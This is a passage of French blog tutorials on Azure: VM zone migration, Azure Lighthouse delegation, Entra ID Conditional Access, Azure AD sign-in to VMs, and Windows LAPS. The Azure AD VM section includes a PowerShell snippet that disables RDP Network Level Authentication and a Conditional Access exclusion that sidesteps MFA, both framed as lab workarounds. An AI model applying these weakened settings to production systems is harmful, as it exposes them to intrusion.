Machines virtuelles dans des groupes de placement de proximitéPrise en chargeLe groupe de placement de proximité source (PPG) n’est pas conservé dans la configuration zonale.
VM spot (machines virtuelles de basse priorité)Prise en charge
Machines virtuelles avec hôtes dédiésPrise en chargeL’hôte dédié de machine virtuelle source ne sera pas conservé.
Machines virtuelles avec mise en cache de l’hôte activéePrise en charge
Machines virtuelles créées à partir d’images de la Place de marchéPrise en charge
Machines virtuelles créées à partir d’images personnaliséesPrise en charge
Machine virtuelle avec licence HUB (Hybrid Use Benefit)Prise en charge
Stratégies RBAC de machine virtuelleNon pris en chargeLe déplacement de machine virtuelle est pris en charge, mais les RBAC ne sont pas copiés sur une machine virtuelle zonale cible.
Machines virtuelles utilisant l’accélération réseauPrise en charge

Pourquoi migrer dans une Zone de disponibilité Azure ?

Les avantages à utiliser les zones de disponibilité Azure sont les suivants:

  • Pour des raisons de besoins de fiabilité et de performance.
  • Pour une reprise après sinistre sans compromettre la résidence des données.

Pour rappel, la SLA sera différente si la VM est toute seule, ou si elle est accouplée à une autre VM dans une Availability Set ou Availability Zone :

Afin de se faire une meilleure idée sur cette migration, je vous propose de réaliser un petit exercice, dont les tâches seront les suivantes :

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice sur la bascule d’une VM dans une zone d’Azure, il vous faudra disposer des éléments suivants :

  • Un tenant Microsoft
  • Une souscription Azure valide

Afin de pouvoir tester cette fonctionnalité toujours en préversion, il est nécessaire de créer une machine virtuelle non Zonée (ou Régionale).

Etape I – Préparation de la VM Régionale :

Pour cela, rechercher le service Machines virtuelles sur le portail Azure :

Cliquez-ici pour commencer la création de la première machine virtuelle :

Renseignez les informations de base relatives à votre VM en choisissant aucune redondance :

Choisissez la taille de votre VM, définissez un compte administrateur local, bloquer les ports entrants, puis cliquez sur Suivant :

Aucune modification n’est à faire sur cet onglet, cliquez sur Suivant :

Aucune modification n’est à faire sur cet onglet, cliquez sur Suivant :

Décochez l’extinction automatique de la machine virtuelle, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de la première VM, puis attendez environ 2 minutes :

Une fois le déploiement terminé, cliquez-ici pour consulter votre première machine virtuelle :

Cliquez-ici pour déclencher le déploiement du service Azure Bastion :

Ouvrez une session de bureau à distance via Azure Bastion en utilisant les identifiants administrateurs renseignés lors de la création de la VM :

Ouvrez une ou plusieurs applications en enregistrant le travail effectué :

Notre première machine virtuelle non-zonée ou régionale est maintenant opérationnelle. Nous pouvons dès à présent lancer le processus de migration vers la zone souhaitée.

Etape II – Déplacement de la VM Régionale dans une Zone :

Pour commencer ce processus, rendez-vous dans l’un des 2 menus suivants :

  • Cliquez sur le menu à gauche appelé Disponibilité + dimensionnement.
  • Cliquez sur le bouton d’édition à droite pour modifier la Zone de disponibilité.

Cliquez-ici pour démarrer le processus de migration :

Choisissez la zone cible pour la migration :

Attendez environ 2-3 minutes afin qu’Azure mette en place les droits RBAC nécessaires pour procéder à la migration :

Une notification Azure apparaît également :

Un nouveau groupe de ressources est créé par cette même occasion :

Des droits RBAC sont également générés au niveau de la souscription Azure concernée :

Une fois le traitement terminé, l’écran suivant apparait, modifiez les champs au besoin :

Dans mon cas, j’ai modifié les valeurs suivantes, puis j’ai cliqué sur Valider :

  • Création d’un nouveau groupe de ressources
  • Création de nouvelles ressources pour tous les objets existants
  • Modification des noms des ressources

La validation entraine une seconde vérification des paramètres modifiés :

Une nouvelle notification Azure apparait indiquant que le traitement est en cours :

Environ 30 secondes plus tard, le traitement de validation se termine :

Lancez le déplacement des ressources en cochant la case ci-dessous, puis en cliquant sur Déplacer :

Le traitement démarre et vous informe que celui-ci durera plusieurs minutes :

Le nouveau groupe de ressources Azure se créé avec les ressources commencent également à y apparaître :

La session de bureau à distance ouverte via Azure Bastion sur la première machine virtuelle se ferme, comme attendu :

Un rapide contrôle du statut de la première machine virtuelle nous montre que cette dernière s’est bien arrêtée :

Le groupe de ressource créé par le service de déplacement nous montre la présence d’une collection de points de restauration :

Celle-ci contient bien un point de restauration lié au traitement de migration de la VM :

Environ 5 minutes plus tard, l’écran nous indique que le traitement est terminé. On y apprend également plusieurs choses :

  • La première machine virtuelle a bien été arrêtée, mais n’a pas été supprimée
  • La seconde machine virtuelle est bien démarrée et est localisée dans la zone 3

Des consignes post-déploiement sont même affichées afin de vous guider sur la suite :

Le nouveau groupe de ressources créé par la migration montre bien toutes les ressources configurées selon les options renseignées :

De retour dans le groupe de ressources précédent, la collection des points de restauration a disparu après la migration :

Etape III – Contrôle de la VM zonée :

Les deux machines virtuelles sont bien présentes et visibles, cliquez sur la nouvelle VM :

Vérifiez la présence de la zone 3, puis cliquez sur le Editer :

Microsoft vous indique qu’il n’est pas encore possible de déplacer des ressources entre les zones dans une région Azure :

Cette information de zone de notre machine virtuelle est aussi disponible ici :

Comme un nouveau réseau virtuel a été recréé dans mon exemple, pour me connecter en RDP, je dois effectuer une des actions suivantes :

  • Redéployer un service Azure Bastion
  • Utiliser l’adresse IP publique
  • Appairer les 2 réseaux virtuels entre eux

Ouvrez une session de bureau à distance via Azure Bastion en utilisant les identifiants administrateurs renseignés lors de la création de la première VM :

Vérifiez la présence du travail effectué précédemment :

Etape IV – Nettoyage des ressources non zonées :

Important : l’infrastructure existante telle que les VNET, les sous-réseaux, les NSG, les LB, … tirent déjà parti d’une configuration zonale, nous aurions pu les garder au lieu d’en recréer.

Si tout est OK pour vous, il ne vous restera qu’à supprimer les deux groupes de ressources suivants :

  • Groupe de ressources contenant l’ancienne machine virtuelle
  • Groupe de ressource contenant les composants liés à la migration

La suppression d’un groupe de ressources Azure s’effectue très simplement :

Confirmez l’ordre de suppression :

Conclusion

Microsoft automatise tous les jours un peu plus certaines tâches manuelle au fil des améliorations faites à Azure. Tous les gains d’efficacité doivent également profiter aux ressources déjà déployées.

On pourra peut-être bientôt voir le même type de processus automatisé intégrer des machines virtuelles existantes dans des Availability Sets ou des Proximity placement groups 😎

Azure Lighthouse prend le contrôle

Azure Lighthouse existe déjà depuis longtemps. Mais je souhaitais malgré tout en faire un article car il est très utile dans bien des cas car il facilite grandement la gestion de ressources réparties sur plusieurs tenants Microsoft. Cela s’adapte donc parfaitement aux prestataires ou fournisseurs de services Cloud.

Qu’est-ce qu’Azure Lighthouse ?

Azure Lighthouse permet une gestion multi-locataire avec de la scalabilité, une automatisation plus poussée et une gouvernance renforcée des ressources.

Microsoft Learn

En d’autres termes, Azure Lighthouse vous permet d’accéder à plusieurs tenants en simultané. Cela permet de visualiser un ensemble de ressources Azure réparties sur plusieurs tenants dans une seule et unique vue.

Grâce à Azure Lighthouse, vous allez pouvoir :

  • Créer une relation sécurisée entre vous et vos clients gérés.
  • Fournir une transparence et à la demande sur l’accès et les actions.
  • Permettre une gestion granulaire de l’accès à l’ensemble du parc Azure.

Vous pouvez gérer plusieurs clients dans un seul Azure Lighthouse. Vous devez simplement définir comment vos équipes accéderont aux ressources des clients :

Pourquoi utiliser Azure Lighthouse pour un client ?

  • Gardez le contrôle : Ajoutez, modifiez ou retirez les droits des intervenants externes à tout moment grâce à la relation fournisseur de services / client établie via Azure Lighthouse.
  • Conservez la sécurité : Fournissez un accès granulaires aux fournisseurs de services, à des niveaux spécifiques (souscription ou groupe de ressources), et à des groupes d’utilisateurs définis, pour un accès permanent ou temporaire.
  • Restez informé : Veillez à ce que vos données soient toujours sécurisées et ne quittent pas votre environnement, tout en ayant une visibilité sur les actions et les changements effectués par vos fournisseurs de services.

Comment Azure Lighthouse fonctionne ?

Pour qu’Azure Lighthouse puisse fonctionner, il est nécessaire de disposer de :

  • Utilisateurs, groupes ou principaux de service provenant du tenant du fournisseur.
  • Rôles RBAC à appliquer sur les ressources du client.

Ces 2 éléments (Rôles + identités) sont alors combinés dans un template généré au format JSON depuis le tenant du fournisseur, puis exécuté sur le tenant du client.

C’est aussi simple que cela !

Note : A la place de la génération d’un template JSON, il est aussi possible de passer par la publication d’une offre fournisseur sur la Marketplace Azure.

Combien cela coûte ?

L’utilisation d’Azure Lighthouse est gratuite pour les clients et pour les fournisseurs.

Azure Lighthouse, qui s’appuie sur la technologie de gestion des ressources déléguées d’Azure, est donc disponible sans frais supplémentaires :

Quelles sont les étapes pour mettre en place Azure Lighthouse ?

Azure Lighthouse est donc configurable de plusieurs manières :

Afin de faire au plus simple dans cet article, je vous propose, au travers d’un petit exercice, de tester la seconde méthode :

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice sur Azure Lighthouse, il vous faudra disposer de :

  • Deux tenants Microsoft (fournisseur / client)
  • Tenant fournisseur :
    • Un utilisateur avec des droits d’administrateur
  • Tenant client :
    • Une souscription Azure valide
    • Un utilisateur avec rôle de Propriétaire sur la souscription Azure

Afin d’identifier plus facilement les deux tenants Azure, je vous propose de configurer les couleurs du portail Azure comme ceci :

  • Portail Azure clair : tenant fournisseur
  • Portail Azure sombre : tenant client

Commençons par la configuration du tenant du fournisseur.

Etape I – Configuration du tenant fournisseur :

Connectez-vous au tenant du fournisseur afin de créer un nouveau groupe Entra ID dédié à Azure Lighthouse :

Ajoutez dans ce nouveau groupe les membres nécessaires pour tester par la suite le bon fonctionnement de l’accès aux ressources Azure situées sur le tenant du client :

Toujours sur le tenant du fournisseur, utilisez la barre de recherche comme ceci :

Cliquez sur Créer un modèle ARM (Azure Resource Manager) :

Nommez le nom de votre template ARM, puis cliquez-ici pour ajouter des autorisations RBAC :

Recherchez le groupe créé précédemment , ajoutez une autorisation que vous accorderez à vos utilisateurs d’Azure Lighthouse, puis définissez si les droits sont permanents ou éligibles :

Pour les droits éligibles, vous devrez configurer Lighthouse avec Azure AD PIM, qui est disponible dans la licence Entra ID Premium P2.

Cliquez sur le bouton Voir le modèle :

Cliquez sur le bouton Télécharger :

La configuration du tenant fournisseur est maintenant terminée

Ce template au format JSON est utilisable autant de fois que nécessaire, tant que les accès aux ressources Azure des clients sont identiques.

La suite se passe maintenant sur le tenant du client.

Etape II – Configuration du tenant client :

Connectez-vous au tenant du client où se trouve la souscription ou le groupe de ressources que vous souhaitez gérer.

Avant de mettre en place Azure Lighthouse, prenez le temps de vérifier sur la souscription Azure le bon enregistrement du fournisseur de ressources suivant :

Utilisez la barre de recherche comme ceci :

Cliquez ici pour voir les offres des prestataires de services :

Dans le menu Offres des prestataires de services, cliquez sur Ajouter une offre, puis sélectionnez Ajouter par le biais d’un modèle :

Téléchargez le modèle que vous avez créé précédemment :

Sélectionnez la souscription Azure, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création du lien Azure Lighthouse :

Attendez environ deux minutes :

La configuration est maintenant en place. Avant de créer une nouvelle ressource Azure, nous allons contrôler le lien établi.

Etape III – Contrôle de la configuration :

Toujours sur le tenant du client, rendez-vous dans le menu suivant afin de constater l’apparition de la délégation créée précédemment :

Retournez sur le tenant du fournisseur afin de constater l’apparition du client dans le menu suivant :

Cliquez sur le bouton de paramétrage du portail Azure afin de voir dans la liste des tenants et des souscriptions provenant du tenant du client :

Toujours sur le tenant fournisseur, vérifiez la présence de la souscription client dans la liste des souscriptions Azure, puis cliquez dessus :

Contrôlez la désactivation des fonctions d’assignation car le rôle de propriétaire n’est pas disponible via Azure Lighthouse :

L’environnement client est maintenant correctement configuré.

Afin de vérifier le bon fonctionnement, je vous propose créer une nouvelle machine virtuelle sur la souscription Azure du client, depuis le tenant du fournisseur.

Etape IV – Création d’une machine virtuelle Azure :

Encore sur le tenant fournisseur, cliquez-ici pour créer une machine virtuelle Azure :

Renseignez les informations de base relatives à votre VM en choisissant bien la souscription Azure du tenant du client, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création des ressources :

Attendez environ 2 minutes que le déploiement se termine :

Retournez sur le portail Azure du tenant du client afin de vérifier la bonne apparition de la machine virtuelle créée depuis le tenant du fournisseur :

Contrôlez les droits RBAC présents sur cette machine virtuelle :

Notez l’absence de droits RBAC, directs ou hérités, des utilisateurs d’Azure Lighthouse.

La création des ressources est bien possible grâce à la mise en place d’un rôle RBAC de contributeur au travers d’Azure Lighthouse.

La suppression des ressources Azure depuis le tenant du fournisseur fonctionne elle aussi sans souci :

Etape V – Modification des ressources gérées par Azure Lighthouse :

La modification ou l’ajout des ressources gérées par Azure Lighthouse est possible depuis le tenant client, sans besoin de réutiliser le template JSON du fournisseur :

Là encore, la suppression de droits sur une souscription Azure est possible à tout moment depuis le tenant du client :

Conclusion :

En quelques clics, nous avons mis en place une délégation de ressources Azure en place. Bravo ! Bien évidemment, cette liaison d’Azure Lighthouse est aussi compatible avec Microsoft Entra Privileged Identity Management.

Enfin, voici comme toujours une vidéo de John Savill qui en parle très bien :

Maîtrisez vos accès conditionnels

Cette semaine, Microsoft vient juste d’annoncer la disponibilité générale (GA) de fonctionnalités récentes liées à l’Accès Conditionnel, et très présent au cœur d’Entra ID. L’ajout de tableaux de bord sur plusieurs ressources (utilisateurs, périphériques et applications) faciliteront grandement le contrôle de la bonne couverture des polices d’accès conditionnels sur les besoins.

Voici un lien vers un article pour un bref rappel de l’accès conditionnel, déjà expliqué dans un autre article dédié à Azure Virtual Desktop.

Qu’est-ce que l’Accès Conditionnel ?

Tous les environnements informatiques sont en quête d’une protection toujours plus efficace pour se prémunir des intrusions extérieures. L’ouverture des architectures IT au travers du Cloud apporte une plus grande disponibilité de l’information aux utilisateurs, mais occasionne un plus de grand nombre de connexions à distances, et donc de situations sécuritaires à gérer.

Le périmètre de sécurité moderne s’étend au-delà du périmètre réseau d’une organisation pour inclure l’identité de l’utilisateur et de l’appareil. Les organisations utilisent désormais des signaux basés sur l’identité dans le cadre de leurs décisions de contrôle d’accès.

Microsoft Learn

Qu’est-ce qu’un Signal pour Entra ID ?

L’accès conditionnel repose sur un certain nombre de signaux ou paramètres d’entrée. Ces derniers sont les éléments mêmes qui caractérise la connexion de l’utilisateur, tels que :

  • Emplacement (adresse IP)
  • Appareil (OS, version, conformité, …)
  • Utilisateur Entra ID
  • Application interrogée
  • IA (Détection des risques en temps réel géré par Entra ID Identity Protection)

Qu’est-ce qu’une Décision pour Entra ID ?

La décision est le résultat dicté par la police d’accès conditionnel en correspondance avec les signaux. Il est possiblement question de bloquer l’accès à l’utilisateur, ou de l’autoriser selon des conditions particulières. Ces conditions correspondent à des mesures de sécurité supplémentaires, telles que :

  • Exiger une authentification multifacteur (cas plus utilisé)
  • Exiger que l’appareil soit marqué comme conforme
  • Exiger un appareil joint en hybride à Entra ID
  • Exiger une stratégie de protection des applications

Qu’est-ce qu’une Option d’application pour Entra ID ?

Ces options apportent une supervision de session et des accès de l’utilisateur telles que :

  • Empêcher l’exfiltration des données
  • Protéger lors du téléchargement
  • Empêcher le chargement de fichiers sans label
  • Bloquer les programmes malveillants potentiels
  • Surveiller les sessions utilisateur pour la conformité
  • Bloquer l’accès

Doit-on disposer de licence pour utiliser l’accès conditionnel ?

Rappel important : Mi-juillet 2023, Microsoft a annoncé renommer son service Azure AD (Azure Active Directory). Ce changement est encore en cours et devrait être finalisé pour la fin de cette année. Cette simplification de dénomination est en cohérence avec le périmètre de la gestion identitaire élargie et gérée par le Cloud de Microsoft.

Cela a aussi pour conséquence un léger changement de nom de certaines licences :

Microsoft a mis une FAQ à disposition juste ici.

L’utilisation de l’accès conditionnel d’Azure AD est une composante des licences Microsoft Entra ID Premium P1/P2. Vous retrouvez donc le service d’accès conditionnel dans un grand nombre de licences utilisateurs, dont les suivantes :

  • Microsoft Entra ID Premium P1
  • Microsoft Entra ID Premium P2
  • Enterprise Mobility + Security E3
  • Enterprise Mobility + Security E5
  • Microsoft 365 Business Premium
  • Microsoft 365 A3
  • Microsoft 365 A5
  • Microsoft 365 F1
  • Microsoft 365 F3
  • Microsoft 365 F5 Security
  • Microsoft 365 F5 Security + Compliance

Je vous remets également le lien vers le site très utile créé par Aaron Dinnage :

Qu’est-ce qu’alors la licence directement renseignée au niveau du tenant ?

Cette question me revient très souvent 😉. Il faut savoir que cette information provient des licences assignées aux utilisateurs du tenant. Ce n’est pas à proprement parler d’une licence ou un service du tenant :

Certains services clients ne sont actuellement pas en mesure de limiter les avantages à des utilisateurs spécifiques. Nous vous recommandons d’acquérir des licences pour tout utilisateur dont vous avez l’intention de bénéficier et/ou d’accéder au service.

Microsoft Learn

Autrement dit, une seule licence ayant la fonctionnalité d’accès conditionnel active l’option pour l’ensemble des utilisateurs du même tenant. Seulement, les règles d’utilisation du service exigent que chaque utilisateur soit couvert par une licence disposant de cette fonctionnalité.

Maintenant que la partie licence est clarifiée, nous allons pouvoir nous intéresser aux principales fonctionnalités de l’accès conditionnel.

Pour vous rendre sur les règles d’accès conditionnel, allez sur la page suivante d’Entra ID dédiée :

Voici quelques fonctionnalités de l’accès conditionnel d’Entra ID que je vous propose d’étudier :

Fonctionnalité I – Le nouveau tableau de bord :

La page d’accueil de l’accès conditionnelle a été revue pour afficher plusieurs informations essentielles aux équipes IT :

C’est vraiment ce qui manquait à ce service : la visibilité. Il est maintenant beaucoup plus simple de comprendre d’un rapide coup d’œil les éléments suivants :

  • Polices actives ou non : les polices d’accès conditionnel ont 3 statuts possibles. Le mode « Rapport seulement » est utile pour contrôler l’impact durant une phase de test sans perturber les utilisateurs.
  • Utilisateurs : Affiche le nombre d’utilisateurs ayant pu s’authentifier sans passer par aucune police d’accès conditionnel.
  • Périphériques : Affiche le nombre de poste étant non managés ou non conformes.
  • Applications : lien vers une liste des applications couvertes et non couvertes par une police d’accès conditionnel

Par exemple, un clic sur la première rubrique affiche le journal d’événements d’ouverture de session avec les filtres adéquats :

Un clic sur les applications ou sur l’onglet Couverture montre 2 différents tops applications :

  • Top des applications non couvertes par un accès conditionnel
  • Top des applications couvertes par un accès conditionnel

Là encore, un clic est possible pour basculer à nouveau sur le journal des événements d’ouverture de sessions afin d’identifier plus facilement les utilisateurs concernés par l’application ciblée :

Microsoft a même pensé au graphique afin d’améliorer la prise de vue dans son ensemble de ce que représente les accès conditionnés à ceux en étant dépourvues :

Voici une nouvelle vidéo qui résume bien ce nouvel écran :

Fonctionnalité II – Création d’une police :

Le véritable moteur de l’accès conditionnel d’Entra ID est : la police.

Depuis longtemps, il est possible de créer une police d’accès conditionnel depuis une feuille blanche. Vous devrez alors choisir parmi toutes les options disponibles dans les sections suivantes :

  • Utilisateur(s) : cible la police sur un utilisateur, un groupe d’utilisateurs ou même des utilisateurs selon leurs rôles. Il est même possible d’exclure des utilisateurs selon ces mêmes règles.
  • Destination(s) cible(s) : cible une ou plusieurs applications Cloud créées sur votre tenant. Là encore, Il est même possible d’exclure des applications si nécessaire.
  • Condition(s) : ajoute des conditions (ou signaux) présents au moment de l’authentification. Comme le risque calculé par Entra ID Identity Protection ou encore la localisation du poste.
  • Condition(s) d’accès : détermine si l’accès est bloqué et cela même si le processus d’authentification est réussi, ou conditionne l’accès selon des critères supplémentaires : MFA, poste conforme…
  • Contrôle(s) de session : renforce si besoin les conditions de persistance de la session au sein de l’application.

Fonctionnalité III – Création d’une police à partir d’un modèle :

Microsoft a proposé il y a plusieurs mois déjà de simplifier la création de police d’accès conditionnel en proposant des modèles de départ :

Ces modèles de base sont classifiées dans les 5 sections suivantes :

  • Sécurisation de base
  • Zero Trust
  • Travail à distance
  • Protection des administrateurs
  • Menaces émergentes

Par exemple, le blocage de l’authentification traditionnelle peut se faire en seulement quelques clics :

Vous pouvez à tout moment changer le statut de votre police. Cela permet de désactiver celle-ci si les résultats sécuritaires obtenus ne sont pas ceux attendus :

Fonctionnalité IV – Test d’une police avec la fonction « Et si » :

Tester une police d’accès conditionnel est possible avec un utilisateur de test ou via la fonction Et si. Cette second option est très utile si l’utilisateur n’est pas disponible ou si le scénario de test demande des conditions très particulières.

Un grand nombre de paramètres (signaux) sont disponibles pour réaliser des tests dans tous les sens :

Et le résultat ne se fait pas attendre, notre nouvelle police d’accès conditionnel créée à partir d’un modèle joue bien son rôle :

Fonctionnalité V – Déclaration de lieux nommés :

Par exemple, quand des lieux sont considérés comme des sites de l’entreprise et que la sécurité réseau est géré par le service IT, il devient utile de les renseigner ici :

Cela permet alors de créer des règles d’accès conditionnel plus précises en incluant ou excluant ces lieux :

Fonctionnalité VI – Configuration d’une MFA renforcée :

L’authentification multi-facteurs est devenue la norme pour s’authentifier sur Internet. Mais toutes les méthodes multi-facteurs ne se valent pas. Microsoft propose de laisser le choix des méthodes MFA aux administrateurs :

Par exemple, ils peuvent faire en sorte que seules les méthodes d’authentification résistantes au hameçonnage soient disponibles pour accéder à une ressource sensible. Toutefois, pour accéder à une ressource non sensible, ils peuvent autoriser des combinaisons d’authentification multifacteur (MFA) moins sécurisées, telles que mot de passe + SMS.

Microsoft Learn

Plusieurs méthodes de MFA renforcées sont déjà disponibles et il est aussi possible de créer les siennes :

Il suffit après d’appeler ces méthodes de MFA renforcées dans la configuration de la police d’accès conditionnel :

Conclusion :

L’accès conditionnel sous Entra ID a réussi s’imposer comme la référence de base dans l’autorisation d’accès aux ressources de l’entreprise. Les personnalisations possibles et la prise en compte d’exclusions apporte beaucoup de souplesse et évite la fatigue sécuritaire chez les utilisateurs. Nul doute que d’autres fonctionnalités sont encore à venir 😎.

VM : Connectez-vous avec Azure AD

Il est possible depuis longtemps de se connecter à une session Windows via un compte Azure AD, que cela concerne Windows 10/11 ou Windows Server. Pour cela, une jointure à Azure AD est nécessaire et l’article l’expliquant est disponible juste ici. Seulement sur Azure, les choses sont légèrement différentes. Je trouvais donc intéressant de vous en écrire un article dessus.

En effet, lors de la création d’une machine virtuelle Azure, il est possible de la joindre directement à Azure AD au travers d’une extension. Cette jointure va vous permettre de vous y connecter en bureau à distance via votre compte Azure AD.

Mais certaines choses sont à respecter pour que cela fonctionne, et c’est pour cela que j’ai écrit cet article, car bien souvent on bloque et on tourne en rond.

Dans celui-ci, vous trouverez toutes les étapes nécessaires, de la création à la connexion à la machine virtuelle, en passant par une règle d’accès conditionnel d’Azure AD :

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice sur Azure, il vous faudra disposer de :

  • Un tenant Microsoft
  • Une souscription Azure valide

Etape I – Déploiement de la machine virtuelle Azure :

Pour cela, rendez-vous dans le portail d’Azure et utilisez la barre de recherche :

Cliquez-ici pour créer une première machine virtuelle Azure :

Renseignez les informations de base relatives à votre VM :

Définissez un compte administrateur local, puis cliquez sur Suivant :

Aucune modification n’est à faire sur cet onglet, cliquez sur Suivant :

Aucune modification n’est à faire sur cet onglet, cliquez sur Suivant :

Cochez la case Azure AD, cela coche automatiquement la case Identité, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création des ressources puis attendez environ 3 minutes :

Une fois le déploiement terminé, cliquez-ici pour terminer la configuration de vm :

Cliquez sur le bouton suivant pour déployer le service Azure Bastion :

Deux notifications apparaissent concernant le déploiement de Bastion :

N’attendez pas qu’Azure Bastion soit déployé pour continuer les prochaines actions.

Toujours sur votre VM de test, allez dans le menu suivant afin d’ajouter un rôle sur votre utilisateur de test :

Ajoutez-lui le rôle suivant pour que celui-ci soit autorisé à se connecter en bureau à distance sur la VM :

Rendez-vous sur la page des périphériques d’Azure AD suivante afin de constater la bonne jointure de votre VM de test :

Comme ma machine virtuelle de test tourne sur Windows Server, celle-ci n’est pas présente dans la gestion MDM Intune :

Quelques minutes plus tard, Azure Bastion devrait être entièrement déployé :

Sur votre machine de test, ouvrez une session Bastion en utilisant le compte administrateur local renseigné lors de la création de la VM :

Vérifiez que la session s’ouvre bien :

Saisie la commande suivante dans une fenêtre CMD :

dsregcmd /statut

Vérifiez encore une fois la bonne jointure à Azure AD :

Etape II – Tests avec Azure AD :

Tentez de vous connecter à votre VM en utilisant le compte Azure AD de votre utilisateur de test via Azure Bastion :

Constatez le message d’erreur d’Azure Bastion :

Tentez de vous connecter à votre VM en utilisant le compte Azure AD de votre utilisateur de test précédé de la mention AzureAD\ :

Constatez une seconde fois le même message d’erreur d’Azure Bastion :

Sur la session Bastion ouverte avec le compte administrateur, ouvrez l’éditeur de registre Windows, puis rendez-vous au chemin suivant :

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp

Modifiez les deux clefs suivantes en changeant leur valeur par zéro :

  • SecurityLayer
  • UserAuthentication

Il est possible de faire via un script PowerShell, exécutable depuis le portail Azure :

Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name 'SecurityLayer' -Value '0' # was before 2
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name 'UserAuthentication' -Value '0' # was before 1

Retentez une connexion à distance depuis Azure Bastion avec votre utilisateur de test, toujours précédé de la mention AzureAD\ :

Constatez cette fois-ci la bonne ouverture de votre session Windows :

Afin de renforcer la sécurité de vos utilisateurs, la mise en place d’une connexion renforcée via MFA est indispensable. Voici d’ailleurs plus articles intéressants à ce sujet :

Bien souvent, la question se pose sur l’ouverture de session Windows avec un compte Azure AD protégé par une MFA. Pour cela, nous allons tester l’impact de l’accès conditionnel sur notre utilisateur

Etape III – Test avec accès conditionnel MFA :

Pour cela, rendez-vous à la page d’Azure AD suivante afin d’y créer une règle d’accès conditionnel pour notre utilisateur de test :

Ajoutez votre utilisateur de test dans le public cible :

Dans un premier temps, intégrez l’ensemble des applications cloud dans cette police d’accès conditionnel :

Autorisez l’accès sous la condition de réussir le challenge MFA, activez la police puis sauvegardez la :

Avant de tester la solution sur l’ouverture de session Windows, il est nécessaire de configurer la MFA pour notre utilisateur de test.

Comme la police d’accès conditionnel est très récente, il est préférable d’attendre environ 5 minutes que celle-ci soit correctement appliquée pour notre utilisateur.

Rendez-vous en navigation privée sur la page office.com, puis authentifiez-vous :

Comme on pouvait s’y attendre, il est nécessaire de remplir les informations MFA dès à présent.

Choisissez la méthode MFA qui vous arrange, puis configurez-là :

Fermez le navigateur privé, puis réouvrez-en un afin de vérifier que le challenge MFA est bien présent et correctement configuré :

Retournez sur le portail Azure, rouvrez une session Windows avec les mêmes identifiants que lors du test précédent :

Constatez la présence de ce message bloquant provenant du challenge MFA :

Et cela malgré l’indication des succès dans le log des authentifications d’Azure AD de notre utilisateur de test :

Afin de contourner le problème lié à la MFA sur le compte Azure AD, retournez dans la police d’accès conditionnel créée précédemment afin de lui y ajouter l’exclusion suivante, puis sauvegardez :

Retendez encore une fois d’ouvrir une session Windows avec les mêmes identifiants que lors du test précédent :

Constatez cette fois-ci le succès et l’absence de blocage au moment de l’ouverture de session.

Un rapide whoami en ligne de commande nous confirme bien la connexion au compte Azure AD :

Conclusion

Finalement, les opérations nécessaires à la connexion à la VM via Azure AD ne sont pas très compliquées. Notez ici qu’il s’agit d’un simple test et que la grande majorité d’environnement de production nécessiteront des mesures de sécurité supplémentaires.

Voici d’ailleurs un article très intéressant à ce sujet : La sécurité de votre Azure. Bonne lecture !

LAPS : Laissez Azure en Prendre Soin

La gestion des mots de passe est une tâche critique, mais ô combien barbante, que cela concerne les comptes personnels ou professionnels. L’apparition des gestionnaires de mots de passes et des méthodes d’authentifications renforcées (2FA / MFA) ont permis d’accroîte la sécurité sur les identités.

Windows fonctionne de la même manière et dispose-lui aussi de comptes aux droits variés. Microsoft propose justement d’en gérer une partie pour vous via Entra ID (Azure AD).

Microsoft a annoncé en mai 2023, la prise en charge des mots de passe Windows LAPS (Windows Local Administrator Password Solution) par Entra ID (Azure AD).

En quelques mots, Entra ID est capable de stocker de façon sécurisé le mot de passe de l’administrateur local de chacun des postes Windows. Mais il y a mieux, Entra ID se chargera aussi de la rotation de ces derniers selon vos propres règles !

Qu’est-ce Windows LAPS ?

Chaque machine Windows dispose d’un compte d’administrateur local intégré qui ne peut pas être supprimé et qui dispose d’autorisations complètes sur l’appareil. La sécurisation de ce compte est une étape importante dans la sécurisation de votre organization. Les appareils Windows incluent la solution de mot de passe de l’administrateur local Windows (LAPS), une solution intégrée permettant de gérer les comptes d’administrateur local.

Microsoft Learn

Quels sont les OS compatibles avec Windows LAPS ?

Comme le rappelle Microsoft, Windows LAPS fonctionne sur les versions OS suivantes ou ultérieures :

Où allons-nous configurer Windows LAPS ?

La configuration de Windows LAPS via Azure AD se fait via Microsoft Intune. Il faudra donc joindre en MDM les machines à ce dernier de afin de pouvoir leur appliquer la police de configuration.

Pour cela les jointures suivantes sont possibles :

  • Jointure à Azure AD
  • Jointure Hybride (Azure AD + Active Directory)

Intune prend en charge les fonctionnalités suivantes de Windows LAPS :

  • Définition des exigences de mot de passe
  • Rotation automatique et périodique du mot de passe
  • Choix du lieu de sauvegarde du mot de passe
  • Actions après utilisation du mot de passe

Avons-nous besoin de licence particulière ?

Pour profiter de la fonctionnalité Windows LAPS au travers d’Entra ID / Intune, il est nécessaire de disposer ces licences suivantes :

  • Microsoft Intune Plan 1
  • Microsoft Entra ID Free, anciennement Azure Active Directory Free

Existe-t-il des rôles RBAC dédiés à Windows LAPS ?

Windows LAPS est encore en préversion à l’heure où ces lignes sont écrites. Les rôles et permissions dédiés seront introduit par la suite. Pour l’instant, il est nécessaire d’utiliser l’un des deux rôles Azure AD suivants :

  • Global Administrator
  • Cloud Device Administrator

Enfin, Microsoft a commencé à mettre une FAQ sur Windows LAPS juste ici.

Afin de bien comprendre Windows LAPS, nous nous allons prendre de tester cette nouvelle fonctionnalité dans cet article :

Quels sont les prérequis pour Windows LAPS ?

Pour réaliser cet exercice sur Windows LAPS, il vous faudra disposer des ressources suivantes :

  • Une souscription Azure valide
  • Une Licence Intune Plan 1

Dans notre exercice, nous allons créer plusieurs machines virtuelles via Azure Virtual Desktop afin de servir de machines utilisateurs de test. Ces machines seront automatiquement jointes à Entra ID et Intune pour la suite de notre configuration.

Etape I – Préparation d’Azure Virtual Desktop :

Commençons par créer nos machines virtuelles AVD de test.

